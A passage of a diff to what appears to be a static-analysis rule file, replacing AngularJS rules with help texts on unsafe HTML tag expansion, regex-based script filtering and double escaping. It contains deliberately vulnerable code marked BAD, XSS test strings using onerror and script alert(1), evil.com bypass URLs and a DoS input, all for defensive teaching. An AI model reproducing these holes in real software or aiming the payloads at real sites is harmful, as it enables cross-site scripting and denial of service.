attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(tooltip)(scope); // OK\n    }\n  };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n",
-            "markdown" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(element)(scope); // NOT OK\n    }\n  };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(tooltip)(scope); // OK\n    }\n  };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n"
+            "text" : "# Unsafe expansion of self-closing HTML tag\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `<div attr=\"{sanitized}\"/>` to `<div attr=\"{sanitized}\"></div>` may in fact cause cross-site scripting vulnerabilities.\n\n\n## Recommendation\nUse a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag.\n\n\n```javascript\nfunction expandSelfClosingTags(html) {\n\tvar rxhtmlTag = /<(?!img|area)(([a-z][^\\w\\/>]*)[^>]*)\\/>/gi;\n\treturn html.replace(rxhtmlTag, \"<$1></$2>\"); // BAD\n}\n\n```\nWhile it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe.\n\nHowever, the function is not safe. As an example, consider the following string:\n\n\n```html\n<div alt=\"\n<x\" title=\"/>\n<img src=url404 onerror=alert(1)>\"/>\n\n```\nWhen the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML.\n\n\n```html\n<div alt=\"\n<x\" title=\"></x\" >\n<img src=url404 onerror=alert(1)>\"/>\n\n```\n\n## References\n* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Unsafe expansion of self-closing HTML tag\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `<div attr=\"{sanitized}\"/>` to `<div attr=\"{sanitized}\"></div>` may in fact cause cross-site scripting vulnerabilities.\n\n\n## Recommendation\nUse a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag.\n\n\n```javascript\nfunction expandSelfClosingTags(html) {\n\tvar rxhtmlTag = /<(?!img|area)(([a-z][^\\w\\/>]*)[^>]*)\\/>/gi;\n\treturn html.replace(rxhtmlTag, \"<$1></$2>\"); // BAD\n}\n\n```\nWhile it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe.\n\nHowever, the function is not safe. As an example, consider the following string:\n\n\n```html\n<div alt=\"\n<x\" title=\"/>\n<img src=url404 onerror=alert(1)>\"/>\n\n```\nWhen the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML.\n\n\n```html\n<div alt=\"\n<x\" title=\"></x\" >\n<img src=url404 onerror=alert(1)>\"/>\n\n```\n\n## References\n* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "reliability", "frameworks/angularjs", "security", "external/cwe/cwe-1176" ],
-            "description" : "Recompiling an already compiled part of the DOM can lead to\n              unexpected behavior of directives, performance problems, and memory leaks.",
-            "id" : "js/angular/double-compilation",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-079", "external/cwe/cwe-116" ],
+            "description" : "Using regular expressions to expand self-closing HTML\n              tags may lead to cross-site scripting vulnerabilities.",
+            "id" : "js/unsafe-html-expansion",
             "kind" : "problem",
-            "name" : "Double compilation",
+            "name" : "Unsafe expansion of self-closing HTML tag",
             "precision" : "very-high",
             "problem.severity" : "warning",
-            "security-severity" : "8.8"
+            "security-severity" : "6.1"
           }
         }, {
-          "id" : "js/angular/insecure-url-whitelist",
-          "name" : "js/angular/insecure-url-whitelist",
+          "id" : "js/bad-tag-filter",
+          "name" : "js/bad-tag-filter",
           "shortDescription" : {
-            "text" : "Insecure URL whitelist"
+            "text" : "Bad HTML filtering regexp"
           },
           "fullDescription" : {
-            "text" : "URL whitelists that are too permissive can cause security vulnerabilities."
+            "text" : "Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n    .config(function($sceDelegateProvider) {\n        $sceDelegateProvider.resourceUrlWhitelist([\n            \"*://example.org/*\", // BAD\n            \"https://**.example.com/*\", // BAD\n            \"https://example.**\", // BAD\n            \"https://example.*\" // BAD\n        ]);\n    });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n",
-            "markdown" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n    .config(function($sceDelegateProvider) {\n        $sceDelegateProvider.resourceUrlWhitelist([\n            \"*://example.org/*\", // BAD\n            \"https://**.example.com/*\", // BAD\n            \"https://example.**\", // BAD\n            \"https://example.*\" // BAD\n        ]);\n    });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n"
+            "text" : "# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `<script>` tags.\n\n\n```javascript\nfunction filterScript(html) {\n    var scriptRegex = /<script\\b[^>]*>([\\s\\S]*?)<\\/script>/gi;\n    var match;\n    while ((match = scriptRegex.exec(html)) !== null) {\n        html = html.replace(match[0], match[1]);\n    }\n    return html;\n}\n\n```\nThe above sanitizer does not filter out all `<script>` tags. Browsers will not only accept `</script>` as script end tags, but also tags such as `</script foo=\"bar\">` even though it is a parser error. This means that an attack string such as `<script>alert(1)</script foo=\"bar\">` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy &amp; Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n",
+            "markdown" : "# Bad HTML filtering regexp\nIt is possible to match some single HTML tags using regular expressions (parsing general HTML using regular expressions is impossible). However, if the regular expression is not written well it might be possible to circumvent it, which can lead to cross-site scripting or other security issues.\n\nSome of these mistakes are caused by browsers having very forgiving HTML parsers, and will often render invalid HTML containing syntax errors. Regular expressions that attempt to match HTML should also recognize tags containing such syntax errors.\n\n\n## Recommendation\nUse a well-tested sanitization or parser library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\n\n## Example\nThe following example attempts to filters out all `<script>` tags.\n\n\n```javascript\nfunction filterScript(html) {\n    var scriptRegex = /<script\\b[^>]*>([\\s\\S]*?)<\\/script>/gi;\n    var match;\n    while ((match = scriptRegex.exec(html)) !== null) {\n        html = html.replace(match[0], match[1]);\n    }\n    return html;\n}\n\n```\nThe above sanitizer does not filter out all `<script>` tags. Browsers will not only accept `</script>` as script end tags, but also tags such as `</script foo=\"bar\">` even though it is a parser error. This means that an attack string such as `<script>alert(1)</script foo=\"bar\">` will not be filtered by the function, and `alert(1)` will be executed by a browser if the string is rendered as HTML.\n\nOther corner cases include that HTML comments can end with `--!>`, and that HTML tag names can contain upper case characters.\n\n\n## References\n* Securitum: [The Curious Case of Copy &amp; Paste](https://research.securitum.com/the-curious-case-of-copy-paste/).\n* stackoverflow.com: [You can't parse \\[X\\]HTML with regex](https://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags#answer-1732454).\n* HTML Standard: [Comment end bang state](https://html.spec.whatwg.org/multipage/parsing.html#comment-end-bang-state).\n* stackoverflow.com: [Why aren't browsers strict about HTML?](https://stackoverflow.com/questions/25559999/why-arent-browsers-strict-about-html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-184](https://cwe.mitre.org/data/definitions/184.html).\n* Common Weakness Enumeration: [CWE-185](https://cwe.mitre.org/data/definitions/185.html).\n* Common Weakness Enumeration: [CWE-186](https://cwe.mitre.org/data/definitions/186.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "frameworks/angularjs", "external/cwe/cwe-183", "external/cwe/cwe-625" ],
-            "description" : "URL whitelists that are too permissive can cause security vulnerabilities.",
-            "id" : "js/angular/insecure-url-whitelist",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116", "external/cwe/cwe-184", "external/cwe/cwe-185", "external/cwe/cwe-186" ],
+            "description" : "Matching HTML tags using regular expressions is hard to do right, and can easily lead to security issues.",
+            "id" : "js/bad-tag-filter",
             "kind" : "problem",
-            "name" : "Insecure URL whitelist",
-            "precision" : "very-high",
+            "name" : "Bad HTML filtering regexp",
+            "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "7.5"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/angular/disabling-sce",
-          "name" : "js/angular/disabling-sce",
+          "id" : "js/double-escaping",
+          "name" : "js/double-escaping",
           "shortDescription" : {
-            "text" : "Disabling SCE"
+            "text" : "Double escaping or unescaping"
           },
           "fullDescription" : {
-            "text" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities."
+            "text" : "When escaping special characters using a meta-character like backslash or ampersand, the meta-character has to be escaped first to avoid double-escaping, and conversely it has to be unescaped last to avoid double-unescaping."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n    .config(function($sceProvider) {\n        $sceProvider.enabled(false); // BAD\n    }).controller('controller', function($scope) {\n        // ...\n        $scope.html = '<ul><li>' + item.toString() + '</li></ul>';\n    });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n    .controller('controller', function($scope, $sce) {\n        // ...\n        // GOOD (but should use the templating system instead)\n        $scope.html = $sce.trustAsHtml('<ul><li>' + item.toString() + '</li></ul>'); \n    });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
-            "markdown" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n    .config(function($sceProvider) {\n        $sceProvider.enabled(false); // BAD\n    }).controller('controller', function($scope) {\n        // ...\n        $scope.html = '<ul><li>' + item.toString() + '</li></ul>';\n    });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n    .controller('controller', function($scope, $sce) {\n        // ...\n        // GOOD (but should use the templating system instead)\n        $scope.html = $sce.trustAsHtml('<ul><li>' + item.toString() + '</li></ul>'); \n    });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
+            "text" : "# Double escaping or unescaping\nEscaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `&lt;` and the double-quote character as `&quot;`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components.\n\nThe reverse process of replacing escape sequences with the characters they represent is known as unescaping.\n\nNote that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last.\n\nIf used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions.\n\nOtherwise, make sure to always escape the escape character first, and unescape it last.\n\n\n## Example\nThe following example shows a pair of hand-written HTML encoding and decoding functions:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&amp;/g, \"&\")\n          .replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\");\n};\n\n```\nThe encoding function correctly handles ampersand before the other characters. For example, the string `me & \"you\"` is encoded as `me &amp; &quot;you&quot;`, and the string `&quot;` is encoded as `&amp;quot;`.\n\nThe decoding function, however, incorrectly decodes `&amp;` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&amp;quot;`) to `\"` (a single double quote), which is not correct.\n\nInstead, the decoding function should decode the ampersand last:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\")\n          .replace(/&amp;/g, \"&\");\n};\n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [html-entities](https://www.npmjs.com/package/html-entities) package.\n* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package.\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n",
+            "markdown" : "# Double escaping or unescaping\nEscaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `&lt;` and the double-quote character as `&quot;`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components.\n\nThe reverse process of replacing escape sequences with the characters they represent is known as unescaping.\n\nNote that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last.\n\nIf used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation. For URI encoding, you can use the standard `encodeURIComponent` and `decodeURIComponent` functions.\n\nOtherwise, make sure to always escape the escape character first, and unescape it last.\n\n\n## Example\nThe following example shows a pair of hand-written HTML encoding and decoding functions:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&amp;/g, \"&\")\n          .replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\");\n};\n\n```\nThe encoding function correctly handles ampersand before the other characters. For example, the string `me & \"you\"` is encoded as `me &amp; &quot;you&quot;`, and the string `&quot;` is encoded as `&amp;quot;`.\n\nThe decoding function, however, incorrectly decodes `&amp;` into `&` before handling the other characters. So while it correctly decodes the first example above, it decodes the second example (`&amp;quot;`) to `\"` (a single double quote), which is not correct.\n\nInstead, the decoding function should decode the ampersand last:\n\n\n```javascript\nmodule.exports.encode = function(s) {\n  return s.replace(/&/g, \"&amp;\")\n          .replace(/\"/g, \"&quot;\")\n          .replace(/'/g, \"&apos;\");\n};\n\nmodule.exports.decode = function(s) {\n  return s.replace(/&quot;/g, \"\\\"\")\n          .replace(/&apos;/g, \"'\")\n          .replace(/&amp;/g, \"&\");\n};\n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [html-entities](https://www.npmjs.com/package/html-entities) package.\n* npm: [js-string-escape](https://www.npmjs.com/package/js-string-escape) package.\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "maintainability", "frameworks/angularjs", "external/cwe/cwe-116" ],
-            "description" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities.",
-            "id" : "js/angular/disabling-sce",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-116", "external/cwe/cwe-020" ],
+            "description" : "When escaping special characters using a meta-character like backslash or\n              ampersand, the meta-character has to be escaped first to avoid double-escaping,\n              and conversely it has to be unescaped last to avoid double-unescaping.",
+            "id" : "js/double-escaping",
             "kind" : "problem",
-            "name" : "Disabling SCE",
-            "precision" : "very-high",
+            "name" : "Double escaping or unescaping",
+            "precision" : "high",
             "problem.severity" : "warning",
             "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/loop-bound-injection",
-          "name" : "js/loop-bound-injection",
+          "id" : "js/incomplete-multi-character-sanitization",
+          "name" : "js/incomplete-multi-character-sanitization",
           "shortDescription" : {
-            "text" : "Loop bound injection"
+            "text" : "Incomplete multi-character sanitization"
           },
           "fullDescription" : {
-            "text" : "Iterating over an object with a user-controlled .length property can cause indefinite looping."
+            "text" : "A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10<sup>100</sup> iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n\n    var ret = [];\n\n    // Potential DoS if obj.length is large.\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n    \n    if (!(obj instanceof Array)) { // Prevents DoS.\n        return [];\n    }\n\n    var ret = [];\n\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n",
-            "markdown" : "# Loop bound injection\nUsing the `.length` property of an untrusted object as a loop bound may cause indefinite looping since a malicious attacker can set the `.length` property to a very large number. For example, when a program that expects an array is passed a JSON object such as `{length: 1e100}`, the loop will be run for 10<sup>100</sup> iterations. This may cause the program to hang or run out of memory, which can be used to mount a denial-of-service (DoS) attack.\n\n\n## Recommendation\nEither check that the object is indeed an array or limit the size of the `.length` property.\n\n\n## Example\nIn the example below, an HTTP request handler iterates over a user-controlled object `obj` using the `obj.length` property in order to copy the elements from `obj` to an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n\n    var ret = [];\n\n    // Potential DoS if obj.length is large.\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\nThis is not secure since an attacker can control the value of `obj.length`, and thereby cause the loop to iterate indefinitely. Here the potential DoS is fixed by enforcing that the user-controlled object is an array.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n\napp.post(\"/foo\", (req, res) => {\n    var obj = req.body;\n    \n    if (!(obj instanceof Array)) { // Prevents DoS.\n        return [];\n    }\n\n    var ret = [];\n\n    for (var i = 0; i < obj.length; i++) {\n        ret.push(obj[i]);\n    }\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-834](https://cwe.mitre.org/data/definitions/834.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n"
